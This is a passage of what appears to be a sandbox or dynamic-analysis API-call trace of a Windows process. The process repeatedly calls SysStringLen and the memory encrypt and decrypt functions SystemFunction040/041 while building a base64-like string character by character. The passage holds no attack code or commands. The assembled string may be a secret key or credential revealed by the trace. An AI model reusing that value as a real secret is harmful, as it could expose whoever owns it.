(param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\xc428\x1b3d\xfb43\x180e\x8568\xbc73\xdfd9\x954b") returned 0x18 [0134.065] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\xc428\x1b3d\xfb43\x180e\x8568\xbc73\xdfd9\x954b") returned 0x18 [0134.065] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.065] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX初溶ᆍ") returned 0x18 [0134.065] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.065] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x4085\xc39c\x7c0\xb0c9\x22cf\x4787\xb056\x90b3") returned 0x18 [0134.065] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x4085\xc39c\x7c0\xb0c9\x22cf\x4787\xb056\x90b3") returned 0x18 [0134.065] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.065] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX4溶ᆍ") returned 0x18 [0134.065] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.065] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x36c0\xb4d9\x8879\xc830\xeff5\xf7f3\x6bb\xe842") returned 0x18 [0134.065] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x36c0\xb4d9\x8879\xc830\xeff5\xf7f3\x6bb\xe842") returned 0x18 [0134.065] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.065] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40溶ᆍ") returned 0x18 [0134.065] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.066] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x5913\xe0d7\x3756\xdd27\x48e6\x83d9\xf4e3\x1d01") returned 0x18 [0134.066] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x5913\xe0d7\x3756\xdd27\x48e6\x83d9\xf4e3\x1d01") returned 0x18 [0134.066] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.066] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uᆍ") returned 0x18 [0134.066] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.066] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\xbc36\xa3ee\xd5ed\xe7fa\xe7af\x54da\xacc6\xd8a8") returned 0x18 [0134.066] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\xbc36\xa3ee\xd5ed\xe7fa\xe7af\x54da\xacc6\xd8a8") returned 0x18 [0134.066] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.066] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uW") returned 0x18 [0134.066] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.066] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8") returned 0x18 [0134.066] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8") returned 0x18 [0134.066] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8") returned 0x18 [0134.066] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8") returned 0x20 [0134.066] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.067] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWE蘹嶀⡄ॆ㕁ၫ") returned 0x20 [0134.067] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.067] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x3164\x67de\xe5db\x7513\xd3a3\xbaba\xb555\x6eae") returned 0x20 [0134.067] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x3164\x67de\xe5db\x7513\xd3a3\xbaba\xb555\x6eae") returned 0x20 [0134.067] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.067] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEn嶀⡄ॆ㕁ၫ") returned 0x20 [0134.067] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.067] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\xe014\x734d\x4f57\x1027\x4d47\xdee1\x7657\xd5a8") returned 0x20 [0134.067] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\xe014\x734d\x4f57\x1027\x4d47\xdee1\x7657\xd5a8") returned 0x20 [0134.067] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.067] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEnY⡄ॆ㕁ၫ") returned 0x20 [0134.067] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.067] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x7252\x98f4\x6b6f\xb131\x3e12\x897\x2c93\xafa4") returned 0x20 [0134.067] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x7252\x98f4\x6b6f\xb131\x3e12\x897\x2c93\xafa4") returned 0x20 [0134.067] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.068] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEnY0ॆ㕁ၫ") returned 0x20 [0134.068] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.069] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x4baf\x5e18\x1ab5\xae21\xd706\xc762\x9521\xdaf4") returned 0x20 [0134.069] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x4baf\x5e18\x1ab5\xae21\xd706\xc762\x9521\xdaf4") returned 0x20 [0134.069] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.069] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEnY0N㕁ၫ") returned 0x20 [0134.069] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.069] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x1075\xbfdd\xb63e\xf7d4\x3dcf\xab7a\xb1c3\x3618") returned 0x20 [0134.069] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x1075\xbfdd\xb63e\xf7d4\x3dcf\xab7a\xb1c3\x3618") returned 0x20 [0134.069] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.070] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEnY0Ntၫ") returned 0x20 [0134.070] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.070] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x8ed1\xd38a\xcba8\x1751\xfd80\xe416\x22b7\x449c") returned 0x20 [0134.070] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x8ed1\xd38a\xcba8\x1751\xfd80\xe416\x22b7\x449c") returned 0x20 [0134.070] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.070] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEnY0Ntlၫ") returned 0x20 [0134.070] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.070] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35fb\x87c8\x8053\x50bd\x5620\x5de8\x162\xd3e1") returned 0x20 [0134.070] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35fb\x87c8\x8053\x50bd\x5620\x5de8\x162\xd3e1") returned 0x20 [0134.070] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.070] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEnY0NtlY") returned 0x20 [0134.070] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.070] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015") returned 0x20 [0134.070] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015") returned 0x20 [0134.070] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015") returned 0x20 [0134.071] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\x1932") returned 0x28 [0134.071] SystemFunction041 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.071] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEnY0NtlY6匩싄ᇁ㿛淜끛") returned 0x28 [0134.071] SystemFunction040 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.071] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\x7094\x7516\x4702\x87ea\x7dec\xccb5\x18ec\xa960") returned 0x28 [0134.071] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\x7094\x7516\x4702\x87ea\x7dec\xccb5\x18ec\xa960") returned 0x28 [0134.071] SystemFunction041 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.071] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEnY0NtlY6/싄ᇁ㿛淜끛") returned 0x28 [0134.071] SystemFunction040 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.071] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\x2e5c\x3e53\x75ff\x7c14\x92fc\xbcf8\x6fba\x4ba9") returned 0x28 [0134.071] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\x2e5c\x3e53\x75ff\x7c14\x92fc\xbcf8\x6fba\x4ba9") returned 0x28 [0134.071] SystemFunction041 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.071] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEnY0NtlY6/Dᇁ㿛淜끛") returned 0x28 [0134.071] SystemFunction040 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.071] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\x785d\x3430\x1473\x5fac\xfccb\xa8ce\x4c2d\x8b99") returned 0x28 [0134.071] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\x785d\x3430\x1473\x5fac\xfccb\xa8ce\x4c2d\x8b99") returned 0x28 [0134.071] SystemFunction041 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.072] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEnY0NtlY6/D8㿛淜끛") returned 0x28 [0134.072] SystemFunction040 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.072] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\xf049\xeb6a\x8582\xac5\xf319\x48e9\xfaf0\x4fcf") returned 0x28 [0134.072] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\xf049\xeb6a\x8582\xac5\xf319\x48e9\xfaf0\x4fcf") returned 0x28 [0134.072] SystemFunction041 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.072] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEnY0NtlY6/D8E淜끛") returned 0x28 [0134.072] SystemFunction040 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.072] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\xc399\x636b\xfada\x3fc2\x3b29\x8006\xbd1b\xdb0e") returned 0x28 [0134.072] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\xc399\x636b\xfada\x3fc2\x3b29\x8006\xbd1b\xdb0e") returned 0x28 [0134.072] SystemFunction041 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.072] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEnY0NtlY6/D8EB淜끛") returned 0x28 [0134.072] SystemFunction040 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.072] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\x204f\x6b7c\x14ec\x69d5\xa29f\x4531\x5043\x8309") returned 0x28 [0134.072] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\x204f\x6b7c\x14ec\x69d5\xa29f\x4531\x5043\x8309") returned 0x28 [0134.072] SystemFunction041 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.073] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEnY0NtlY6/D8EB7끛") returned 0x28 [0134.073] SystemFunction040 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.073] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\xe03a\xca3a\x5f43\xc54\x8e83\xbd12\x64a4\x93df") returned 0x28 [0134.073] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\xe03a\xca3a\x5f43\xc54\x8e83\xbd12\x64a4\x93df") returned 0x28 [0134.073] SystemFunction041 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.073] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEnY0NtlY6/D8EB79") returned 0x28 [0134.073] SystemFunction040 (in: Memory=0x4383bf4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383bf4) returned 0x0 [0134.073] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\xcd38\xaaea\x56c5\x3313\x3d63\x25d0\x7cf6\x1877") returned 0x28 [0134.073] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\xcd38\xaaea\x56c5\x3313\x3d63\x25d0\x7cf6\x1877") returned 0x28 [0134.073] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\xcd38\xaaea\x56c5\x3313\x3d63\x25d0\x7cf6\x1877") returned 0x28 [0134.073] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\xcd38\xaaea\x56c5\x3313\x3d63\x25d0\x7cf6\x1877\x38\x6d\x64\x7a\x72\x36\x2e\x77") returned 0x30 [0134.073] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0134.073] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEnY0NtlY6/D8EB79l㰺礹馊㹱按巔멥") returned 0x30 [0134.073] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0134.073] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\xcd38\xaaea\x56c5\x3313\x3d63\x25d0\x7cf6\x1877\xd3a4\xdc29\x3a00\x8211\x8a7a\x7325\x3176\xd73c") returned 0x30 [0134.073] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\xcd38\xaaea\x56c5\x3313\x3d63\x25d0\x7cf6\x1877\xd3a4\xdc29\x3a00\x8211\x8a7a\x7325\x3176\xd73c") returned 0x30 [0134.074] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0134.074] SysStringLen (param_1="6NYKa2iA7+ReD4Gb3uKX40uWEnY0NtlY6/D8EB79ll礹馊㹱按巔멥") returned 0x30 [0134.074] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0134.074] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\xcd38\xaaea\x56c5\x3313\x3d63\x25d0\x7cf6\x1877\xa082\x334a\xffc4\xe980\x1c8d\xee02\xc9c6\xc8b2") returned 0x30 [0134.074] SysStringLen (param_1="\xce31\x917d\xcc1a\xae9\x35ff\xeb2a\x3668\xcaaa\x41af\x2f92\xb94b\x3d7c\x96dd\xf548\x2b4d\x215e\x8e45\x8613\x2ec8\x2942\xcd86\x21d4\xa9f7\x20b8\x35e8\xef90\x732a\x5b7d\x4d77\x6824\xa71\x6015\xcd38\xaaea\x56c5\x3313\x3d63\x25d0\x7cf6\x1877\xa082\x334a\xffc4\xe980\x1c8d\xee02\xc9c6\xc8b2") returned 